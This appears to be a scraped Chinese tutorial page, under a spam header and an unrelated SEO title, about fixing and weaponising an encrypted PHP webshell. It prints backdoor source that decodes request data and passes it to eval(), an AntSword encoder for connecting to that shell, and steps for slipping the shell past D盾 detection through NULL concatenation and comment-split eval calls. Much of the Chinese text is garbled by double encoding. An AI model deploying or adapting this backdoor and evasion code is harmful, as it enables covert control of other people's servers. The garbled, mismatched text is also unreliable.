真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

這篇文章給大家介紹php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò),內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對(duì)大家能有所幫助。

創(chuàng)新互聯(lián)是一家朝氣蓬勃的網(wǎng)站建設(shè)公司。公司專(zhuān)注于為企業(yè)提供信息化建設(shè)解決方案。從事網(wǎng)站開(kāi)發(fā),網(wǎng)站制作,網(wǎng)站設(shè)計(jì),網(wǎng)站模板,微信公眾號(hào)開(kāi)發(fā),軟件開(kāi)發(fā),微信小程序開(kāi)發(fā),十余年建站對(duì)成都發(fā)電機(jī)租賃等多個(gè)領(lǐng)域,擁有多年的營(yíng)銷(xiāo)推廣經(jīng)驗(yàn)。

0x01 問(wèn)題分析

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)在地氣文章末尾留下了送給大家的彩蛋(認(rèn)真讀文章的我肯定不會(huì)中標(biāo)~)。
下邊就和大家分享一下彩蛋的蛋是怎么玩兒的。

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

在地氣哥Payload工具中,key的值被復(fù)制了多次,為的是當(dāng)我們輸入Payload語(yǔ)句被程序進(jìn)行serialize之后,將每一位都進(jìn)行ASCII碼后的異或運(yùn)算,來(lái)逆推出加密的Base64代碼,我們可以從第25-28行的語(yǔ)句中看到逆推過(guò)程,是因?yàn)閺膕ubstr中來(lái)逐步ASCII碼。

我們看一下當(dāng)substr函數(shù)返回空時(shí),情況是怎么樣的。

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

我們看到,當(dāng)substr截取不到任何東西時(shí),PHP返回“空”,但是在進(jìn)行ord強(qiáng)制轉(zhuǎn)換后,返回的是實(shí)打?qū)嵉?,因?yàn)榈貧飧缰械膋ey是寫(xiě)死的,當(dāng)我們生成的Payload比較多的時(shí)候,就會(huì)出現(xiàn)0去異或程序中生成的第一次加密Payload某一位的情況,這顯然是不合理的。

0x02 問(wèn)題解決


解決該問(wèn)題最有效的方法應(yīng)該就是讓程序動(dòng)態(tài)的去復(fù)制粘貼Key,這樣可以達(dá)到長(zhǎng)度無(wú)限的情況。
這里筆者粘貼出已修改的腳本:

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

  'aec7e489-2fbc-4b15-871f-1d686eeb80dc',
    'a'     =>  'e',
    'd'     =>  $_GET['payload']
);

$seria = serialize($str);

$cookiepre = '';
$pass = str_repeat('t', strlen($seria) - 1);
$text = '';
for($i = 0; $i < strlen($seria); $i++){
    $text .= chr(ord($seria[$i]) ^ ord($pass));
}

echo $pass . '
'; $key = $str['ak']; $value = ''; for($i = 0; $i < strlen($text); $i++){     if(!$key[$i]){         $key .= $str['ak'];     }     $value .= chr(ord($text[$i]) ^ ord($key[$i])); } echo base64_encode($value);

測(cè)試效果:

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

成功解決了Payload長(zhǎng)度問(wèn)題。

0x03 神兵利器,何不利用?


既然解決了Payload長(zhǎng)度問(wèn)題,那么如果我們可以將該馬兒更加方便的使用,那該多好啊。
筆者想到的是,如果可以使用蟻劍去連接,那豈不是舒服的很。畢竟該國(guó)外馬兒加密的流量非常強(qiáng)悍的。
當(dāng)然我們要想要與蟻劍進(jìn)行交互,我們首先要解決一個(gè)問(wèn)題,該問(wèn)題是馬兒中的unserialize函數(shù)。

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

Unserialize函數(shù)是用來(lái)反序列化的,但是他方便了PHP的同時(shí)卻不太適合蟻劍,因?yàn)橄亜κ腔趎odeJs而開(kāi)發(fā),同時(shí)遵循了Js的語(yǔ)法規(guī)則,我們知道在Js中定義數(shù)組必須為索引下標(biāo),在PHP中定義數(shù)組下標(biāo)可以是字符串類(lèi)型,這牽扯到了該馬兒的核心:第48行的$vv[‘a(chǎn)k’]。如果我們使用unserialize函數(shù),可能不太方便Js與PHP的交互。

在一個(gè)正常的WEB應(yīng)用中,前臺(tái)(Js)與后臺(tái)(PHP/JAVA等)語(yǔ)言中,Json為主要的傳輸數(shù)據(jù)的格式,這里筆者將unserialize函數(shù)改為json_decode。如圖:

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

這樣起來(lái)我們就可以在nodeJs與PHP之間搭建一個(gè)溝通的橋梁。

新馬兒代碼:

$v){
        $vv = $v;
        $kk = $k;
        }

        if (!$vv){
                foreach ($_POST as $k=>$v){
                $vv = $v;
                $kk = $k;
                }
        }

        $vv = @json_decode(x184f5cc(base64_decode($vv), $kk), true);
        
        if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){
                if ($vv['a'] == 'i'){
                        $l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);
                        echo @serialize($l71c40);
                }
                elseif ($vv['a'] == 'e'){
                eval/*r49557ec*/($vv['d']);
                }
                }
                exit();
        }

?>

0x04 蟻劍改造及使用演示


下邊筆者就編寫(xiě)了一個(gè)蟻劍的編碼器,他用于鏈接該木馬。
編碼器代碼:

/**
 * php::base64編碼器
 * Create at: 2020/10/14 13:38:35
 */

'use strict';
/*
* @param  {String} pwd   連接密碼
* @param  {Array}  data  編碼器處理前的 payload 數(shù)組
* @return {Array}  data  編碼器處理后的 payload 數(shù)組
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    請(qǐng)?jiān)谙路骄帉?xiě)你自己的代碼   ###################
  // 以下代碼為 PHP Base64 樣例
  let obj = {'ak':'aec7e489-2fbc-4b15-871f-1d686eeb80dc','a':'e','d':data['_']};
  let objStr = JSON.stringify(obj);
  // 生成一個(gè)隨機(jī)變量名
  let pass = 't';
  let t = pass.repeat(obj.d.length - 1);
  
  let text = '';
  for(let i = 0; i < objStr.length; i ++){
    text += String.fromCharCode(objStr[i].charCodeAt() ^ t.charCodeAt());
  }
  let key = obj.ak;
  var value = '';
  for(let i = 0; i < text.length; i++){
    if(!key[i]){
      key += obj.ak;
    }
    value += String.fromCharCode(text[i].charCodeAt() ^ key[i].charCodeAt());
  }
  data[t] = Buffer.from(value).toString('base64');
  

  // ##########    請(qǐng)?jiān)谏戏骄帉?xiě)你自己的代碼   ###################

  // 刪除 _ 原有的payload
  delete data['_'];
  // 返回編碼器處理后的 payload 數(shù)組
  return data;
}

當(dāng)然,該編碼器的第15行的ak值,需要與馬兒中的key所對(duì)應(yīng)。

演示:

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

(馬兒密碼任意即可)

0x05 狗兒的友情提示


該馬兒流量是很強(qiáng)悍了,但是腳本本身并不免殺。
我們看一下馬兒被D盾吊錘:

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

怎么辦呢?繞啊,這么好的馬子,編碼器都完成了,不能前功盡棄!

看到提示eval后門(mén),參數(shù)$vv那邊有問(wèn)題,我們看一下:

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

很簡(jiǎn)單,使用NULL拼接大法(雖然一些普遍的馬兒都已經(jīng)過(guò)不了了)。

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

現(xiàn)在不報(bào)eval的錯(cuò)誤了,有戲!

可以看到爆出$GLOBALS的錯(cuò)誤,我們直接轉(zhuǎn)移到第6行看一下。

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

該代碼對(duì)整個(gè)馬兒不太影響,直接刪掉!

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

我們?cè)诳匆幌陆Y(jié)果:

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

ByPass!

0x06 通過(guò)該馬解鎖的繞過(guò)方式


通過(guò)地氣哥的一些分析,從其中得到一些靈感,NULL拼接不再孤獨(dú),再次奔放~!
之前一直疏忽一個(gè)問(wèn)題,$GLOBALS到底里面存放一些什么東西,今天,我們var_dump一下看看。

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

可以看到$_GET/$_POST/$_COOKIE都存放在這些東西里面。

這個(gè)時(shí)候筆者想到了eval/**/()格式,以及一些變量值的混淆,寫(xiě)出第二個(gè)簡(jiǎn)約一句話(huà)木馬。

Phpinfo:

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

D盾測(cè)試:

php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)

關(guān)于php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。


文章名稱(chēng):php中為什么提交的命令大于11個(gè)字符就報(bào)錯(cuò)
分享URL:http://weahome.cn/article/gdsheo.html

其他資訊

在線(xiàn)咨詢(xún)

微信咨詢(xún)

電話(huà)咨詢(xún)

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部